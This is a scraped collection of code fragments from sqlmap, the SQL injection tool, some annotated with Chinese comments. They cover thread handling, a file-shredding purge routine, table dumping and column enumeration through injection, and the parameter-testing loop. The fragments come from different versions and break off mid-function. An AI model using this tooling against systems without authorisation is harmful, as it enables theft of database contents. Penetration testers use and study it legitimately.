                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not conf.api:
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not showEta and not conf.api:
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException("something unexpected happened inside the threads")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
Exemplo n.º 42
0
def runThreads(numThreads,
               threadFunction,
               cleanupFunction=None,
               forwardException=True,
               threadChoice=False,
               startThreadMsg=True):
    threads = []

    def _threadFunction():
        try:
            threadFunction()
        finally:
            if conf.hashDB:
                conf.hashDB.close()

    kb.multipleCtrlC = False
    kb.threadContinue = True
    kb.threadException = False
    kb.technique = ThreadData.technique
    kb.multiThreadMode = False

    try:
        if threadChoice and conf.threads == numThreads == 1 and not (
                kb.injection.data
                and not any(_ not in
                            (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
                            for _ in kb.injection.data)):
            while True:
                message = "please enter number of threads? [Enter for %d (current)] " % numThreads
                choice = readInput(message, default=str(numThreads))
                if choice:
                    skipThreadCheck = False

                    if choice.endswith('!'):
                        choice = choice[:-1]
                        skipThreadCheck = True

                    if isDigit(choice):
                        if int(
                                choice
                        ) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
                            errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
                            logger.critical(errMsg)
                        else:
                            conf.threads = numThreads = int(choice)
                            break

            if numThreads == 1:
                warnMsg = "running in a single-thread mode. This could take a while"
                logger.warn(warnMsg)

        if numThreads > 1:
            if startThreadMsg:
                infoMsg = "starting %d threads" % numThreads
                logger.info(infoMsg)
        else:
            _threadFunction()
            return

        kb.multiThreadMode = True

        # Start the threads
        for numThread in xrange(numThreads):
            thread = threading.Thread(target=exceptionHandledFunction,
                                      name=str(numThread),
                                      args=[_threadFunction])

            setDaemon(thread)

            try:
                thread.start()
            except Exception as ex:
                errMsg = "error occurred while starting new thread ('%s')" % ex
                logger.critical(errMsg)
                break

            threads.append(thread)

        # And wait for them to all finish
        alive = True
        while alive:
            alive = False
            for thread in threads:
                if thread.is_alive():
                    alive = True
                    time.sleep(0.1)

    except (KeyboardInterrupt, SqlmapUserQuitException) as ex:
        print()
        kb.prependFlag = False
        kb.threadContinue = False
        kb.threadException = True

        if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
            kb.multipleCtrlC = True
            raise SqlmapUserQuitException(
                "user aborted (Ctrl+C was pressed multiple times)")

        kb.lastCtrlCTime = time.time()

        if numThreads > 1:
            logger.info("waiting for threads to finish%s" %
                        (" (Ctrl+C was pressed)" if isinstance(
                            ex, KeyboardInterrupt) else ""))
        try:
            while (threading.active_count() > 1):
                pass

        except KeyboardInterrupt:
            kb.multipleCtrlC = True
            raise SqlmapThreadException(
                "user aborted (Ctrl+C was pressed multiple times)")

        if forwardException:
            raise

    except (SqlmapConnectionException, SqlmapValueException) as ex:
        print()
        kb.threadException = True
        logger.error("thread %s: '%s'" %
                     (threading.currentThread().getName(), ex))

        if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException):
            traceback.print_exc()

    except:
        print()

        if not kb.multipleCtrlC:
            from lib.core.common import unhandledExceptionMessage

            kb.threadException = True
            errMsg = unhandledExceptionMessage()
            logger.error("thread %s: %s" %
                         (threading.currentThread().getName(), errMsg))
            traceback.print_exc()

    finally:
        kb.multiThreadMode = False
        kb.threadContinue = True
        kb.threadException = False
        kb.technique = None

        for lock in kb.locks.values():
            if lock.locked():
                try:
                    lock.release()
                except:
                    pass

        if conf.get("hashDB"):
            conf.hashDB.flush(True)

        if cleanupFunction:
            cleanupFunction()
Exemplo n.º 43
0
    addr = "http://%s:%d" % (host, port)
    logger.info("Starting REST-JSON API client to '%s'..." % addr)

    try:
        _client(addr)
    except Exception, ex:
        if not isinstance(ex, urllib2.HTTPError):
            errMsg = "There has been a problem while connecting to the "
            errMsg += "REST-JSON API server at '%s' " % addr
            errMsg += "(%s)" % ex
            logger.critical(errMsg)
            return

    taskid = None
    logger.info("Type 'help' or '?' for list of available commands")

    while True:
        try:
            command = raw_input("api%s> " %
                                (" (%s)" % taskid if taskid else "")).strip()
            command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(),
                             command)
        except (EOFError, KeyboardInterrupt):
            print
            break

        if command in ("data", "log", "status", "stop", "kill"):
            if not taskid:
                logger.error("No task ID in use")
                continue
Exemplo n.º 44
0
def purge(directory):
    """
    Safely removes content from a given directory
    """

    if not os.path.isdir(directory):
        warnMsg = "skipping purging of directory '%s' as it does not exist" % directory
        logger.warn(warnMsg)
        return

    infoMsg = "purging content of directory '%s'..." % directory
    logger.info(infoMsg)

    filepaths = []
    dirpaths = []

    for rootpath, directories, filenames in os.walk(directory):
        dirpaths.extend(
            [os.path.abspath(os.path.join(rootpath, _)) for _ in directories])
        filepaths.extend(
            [os.path.abspath(os.path.join(rootpath, _)) for _ in filenames])

    logger.debug("changing file attributes")
    for filepath in filepaths:
        try:
            os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE)
        except:
            pass

    logger.debug("writing random data to files")
    for filepath in filepaths:
        try:
            filesize = os.path.getsize(filepath)
            with open(filepath, "w+b") as f:
                f.write("".join(
                    chr(random.randint(0, 255)) for _ in xrange(filesize)))
        except:
            pass

    logger.debug("truncating files")
    for filepath in filepaths:
        try:
            with open(filepath, 'w') as f:
                pass
        except:
            pass

    logger.debug("renaming filenames to random values")
    for filepath in filepaths:
        try:
            os.rename(
                filepath,
                os.path.join(
                    os.path.dirname(filepath), "".join(
                        random.sample(string.ascii_letters,
                                      random.randint(4, 8)))))
        except:
            pass

    dirpaths.sort(cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))

    logger.debug("renaming directory names to random values")
    for dirpath in dirpaths:
        try:
            os.rename(
                dirpath,
                os.path.join(
                    os.path.dirname(dirpath), "".join(
                        random.sample(string.ascii_letters,
                                      random.randint(4, 8)))))
        except:
            pass

    logger.debug("deleting the whole directory tree")
    os.chdir(os.path.join(directory, ".."))

    try:
        shutil.rmtree(directory)
    except OSError, ex:
        logger.error("problem occurred while removing directory '%s' ('%s')" %
                     (directory, getSafeExString(ex)))
Exemplo n.º 45
0
            raise

        except SqlmapBaseException, ex:
            errMsg = getUnicode(ex.message)

            if conf.multipleTargets:
                errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
                logger.error(errMsg)
            else:
                logger.critical(errMsg)
                return False

        finally:
            showHttpErrorCodes()

            if kb.maxConnectionsFlag:
                warnMsg = "it appears that the target "
                warnMsg += "has a maximum connections "
                warnMsg += "constraint"
                logger.warn(warnMsg)

    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info("fetched data logged to text files under '%s'" % conf.outputPath)

    if conf.multipleTargets and conf.resultsFilename:
        infoMsg = "you can find results of scanning in multiple targets "
        infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
        logger.info(infoMsg)

    return True
Exemplo n.º 46
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter, sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.isDbms(DBMS.ORACLE):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise sqlmapMissingMandatoryOptionException, errMsg

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise sqlmapNoneDataException, errMsg

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
                   or safeSQLIdentificatorNaming(tbl, True) not in \
                   kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
                   or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                colList = sorted(
                    filter(
                        None, kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)].keys()))
                colString = ", ".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colString
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                entriesCount = 0

                if any([
                        isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION),
                        isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR),
                        conf.direct
                ]):
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (
                            colString, tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD,
                                                         DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
                                and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].
                                where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            retVal = pivotDumpTable(table,
                                                    colList,
                                                    blind=False)

                            if retVal:
                                entries, _ = retVal
                                entries = zip(
                                    *[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString,
                                                              conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                         DBMS.PGSQL):
                        query = rootQuery.inband.query % (
                            colString, conf.db, tbl,
                            prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db,
                                                          tbl)

                    if not entries and query:
                        entries = inject.getValue(query,
                                                  blind=False,
                                                  dump=True)

                    if isNoneValue(entries):
                        entries = []
                    elif isinstance(entries, basestring):
                        entries = [entries]
                    elif not isListLike(entries):
                        entries = []

                    entriesCount = len(entries)

                    for index, column in enumerate(colList):
                        if column not in kb.data.dumpedTable:
                            kb.data.dumpedTable[column] = {
                                "length": len(column),
                                "values": BigArray()
                            }

                        for entry in entries:
                            if entry is None or len(entry) == 0:
                                continue

                            if isinstance(entry, basestring):
                                colEntry = entry
                            else:
                                colEntry = unArrayizeValue(
                                    entry[index]
                                ) if index < len(entry) else u''

                            _ = len(
                                DUMP_REPLACEMENTS.get(getUnicode(colEntry),
                                                      getUnicode(colEntry)))
                            maxLen = max(len(column), _)

                            if maxLen > kb.data.dumpedTable[column]["length"]:
                                kb.data.dumpedTable[column]["length"] = maxLen

                            kb.data.dumpedTable[column]["values"].append(
                                colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable(
                ) and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colString
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (
                            tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" %
                                                         (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(
                            conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colString
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,
                                                         DBMS.SYBASE,
                                                         DBMS.MAXDB,
                                                         DBMS.MSSQL):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                             DBMS.MSSQL):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)

                        retVal = pivotDumpTable(table,
                                                colList,
                                                count,
                                                blind=True)

                        if retVal:
                            entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                  DBMS.DB2)
                        indexRange = getLimitRange(count,
                                                   dump=True,
                                                   plusOne=plusOne)

                        if len(colList) < len(
                                indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            for column in colList:
                                if inject.getValue("SELECT COUNT(%s) FROM %s" %
                                                   (column, kb.dumpTable),
                                                   inband=False,
                                                   error=False) == '0':
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (
                                        column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (
                                            DBMS.MYSQL, DBMS.PGSQL):
                                        query = rootQuery.blind.query % (
                                            column, conf.db, conf.tbl,
                                            sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (
                                            column, column,
                                            tbl.upper() if not conf.db else
                                            ("%s.%s" %
                                             (conf.db.upper(), tbl.upper())),
                                            index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (
                                            column, tbl, index)

                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (
                                            index, column, tbl)

                                    value = NULL if column in emptyColumns else inject.getValue(
                                        query,
                                        inband=False,
                                        error=False,
                                        dump=True)

                                    _ = DUMP_REPLACEMENTS.get(
                                        getUnicode(value), getUnicode(value))
                                    lengths[column] = max(
                                        lengths[column], len(_))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {
                            "length": length,
                            "values": columnEntries
                        }

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0
                                                     and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colString
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += "in database '%s'%s" % (
                        unsafeSQLIdentificatorNaming(conf.db),
                        " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {
                        "count": entriesCount,
                        "table": safeSQLIdentificatorNaming(tbl, True),
                        "db": safeSQLIdentificatorNaming(conf.db)
                    }
                    attackDumpedTable()
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except sqlmapConnectionException, e:
                errMsg = "connection exception detected in dumping phase: "
                errMsg += "'%s'" % e
                logger.critical(errMsg)

            finally:
Exemplo n.º 47
0
    def getColumns(self,
                   onlyColNames=False,
                   colTuple=None,
                   bruteForce=None,
                   dumpMode=False):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            colList = conf.col.split(",")
        else:
            colList = []

        if conf.excludeCol:
            colList = [
                _ for _ in colList if _ not in conf.excludeCol.split(',')
            ]

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        if conf.tbl:
            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise SqlmapNoneDataException(errMsg)

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl)

        if bruteForce:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable and not conf.freshQueries or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = {
                                safeSQLIdentificatorNaming(tbl, True): columns
                            }

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? [y/N/q] "
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[DBMS.SYBASE].columns

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            blinds = [False, True]
        else:
            blinds = [True]

        for tbl in tblList:
            if conf.db is not None and len(kb.data.cachedColumns) > 0 \
               and conf.db in kb.data.cachedColumns and tbl in \
               kb.data.cachedColumns[conf.db]:
                infoMsg = "fetched tables' columns on "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                return {conf.db: kb.data.cachedColumns[conf.db]}

            if dumpMode and colList:
                table = {}
                table[safeSQLIdentificatorNaming(tbl)] = dict(
                    (_, None) for _ in colList)
                kb.data.cachedColumns[safeSQLIdentificatorNaming(
                    conf.db)] = table
                continue

            infoMsg = "fetching columns "
            infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
            infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
                conf.db)
            logger.info(infoMsg)

            for blind in blinds:
                randStr = randomStr()
                query = rootQuery.inband.query % (
                    conf.db, conf.db, conf.db, conf.db, conf.db, conf.db,
                    conf.db, unsafeSQLIdentificatorNaming(tbl))
                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, randStr),
                    ['%s.name' % randStr,
                     '%s.usertype' % randStr],
                    blind=blind)

                if retVal:
                    table = {}
                    columns = {}

                    for name, type_ in filterPairValues(
                            zip(retVal[0]["%s.name" % randStr],
                                retVal[0]["%s.usertype" % randStr])):
                        columns[name] = SYBASE_TYPES.get(
                            int(type_) if isinstance(type_, basestring)
                            and type_.isdigit() else type_, type_)

                    table[safeSQLIdentificatorNaming(tbl)] = columns
                    kb.data.cachedColumns[safeSQLIdentificatorNaming(
                        conf.db)] = table

                    break

        return kb.data.cachedColumns
Exemplo n.º 48
0
def start():#sqlmap 开始检测 get post cookie user-agent
    """
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected这个函数调用一个函数,执行检查URL所有GET、POST、cookie和user-agent参数 们是否动态和SQL注入的影响
    """

    if conf.direct:  # conf.direct是通过命令行参数:"-d" .指定的 通过参数"-d"指定要连接的数据库
        initTargetEnv() #初始化目标环境 target.py initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作
        setupTargetEnv()
        action()    # 如果你使用-d选项,那么sqlmap就会直接进入action()函数,连接数据库 .  eg:-d "mysql:123123//root:@127.0.0.1:3306/security"
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie))
        # 把url,methos,data,cookie加入到kb.targets,这些参数就是由我们输入的
    if conf.configFile and not kb.targets:
        errMsg = "you did not edit the configuration file properly, set "
        errMsg += "the target URL, list of targets or google dork" #你没有正确编辑配置文件,设置目标URL,目标列表或谷歌码头
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) #sqlmap总数的**目标
        logger.info(infoMsg)

    hostCount = 0

    for targetUrl, targetMethod, targetData, targetCookie in kb.targets: #循环检测
        try:
            conf.url = targetUrl
            conf.method = targetMethod
            conf.data = targetData
            conf.cookie = targetCookie

            initTargetEnv() # initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作
            parseTargetUrl()  # 此循环先初始化一些一些变量,然后判断之前是否注入过,parseTargetUrl()函数主要完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息

            testSqlInj = False # False 表示注入过 不会执行 injection = checkSqlInjection(place, parameter, value)这句代码
            #测试过的url参数信息会保存到kb.testedParams中,所以在进行test之前,会先判断当前的url是否已经test过
            if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
                for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True  # True表示未注入过  执行 injection = checkSqlInjection(place, parameter, value)这句代码
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True # True表示未注入过

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"
                    kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' # SQL注入漏洞已被发现对“% s”。你想跳过此测试涉及吗?[Y / n]
                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = "skipping '%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms:
                    message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
                else:
                    message = "URL %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else ""

                if conf.forms:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        if conf.method == HTTPMETHOD.POST:
                            message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        elif conf.method == HTTPMETHOD.GET:
                            if targetUrl.find("?") > -1:
                                firstPart = targetUrl[:targetUrl.find("?")]
                                secondPart = targetUrl[targetUrl.find("?") + 1:]
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()

                    elif test[0] in ("n", "N"):
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                else:
                    message += "\ndo you want to test this URL? [Y/n/q]" #你想测试这个URL ?[Y / n / q]
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        pass
                    elif test[0] in ("n", "N"):
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv() # setupTargetEnv()函数中包含了5个函数  都不可或缺,将get或post发送的数据解析成字典形式,并保存到conf.paramDict中

            if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                continue

            if conf.checkWaf:
                checkWaf() #是检测是否有WAF

            if conf.identifyWaf: #sqlmap的参数–identify-waf
                identifyWaf() # 进入identifyWaf()函数

            if conf.nullConnection:
                checkNullConnection()
                #提取url中的参数信息,并将其传递给checkSqlInjection函数
            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
                and (kb.injection.place is None or kb.injection.parameter is None):
                #判断是否注入过,如果还没有测试过参数是否可以注入,则进入if语句中。如果之前测试过,则不会进入此语句
                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                    # NOTE: this is not needed anymore, leaving only to display 注意:这是不需要了,只留下显示
                    # a warning message to the user in case the page is not stable 一条警告消息给用户的页面是不稳定的
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list 做一个可测试的参数列表的优先级排序
                parameters = conf.parameters.keys()

                # Order of testing list (first to last) #测试顺序列表(第一个)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if #只有测试用户代理和推荐人头
                    # --level >= 3 级别>=3
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # Test Host header only if 仅有主机头
                    # --level >= 5 级别>=5
                    skip |= (place == PLACE.HOST and conf.level < 5)

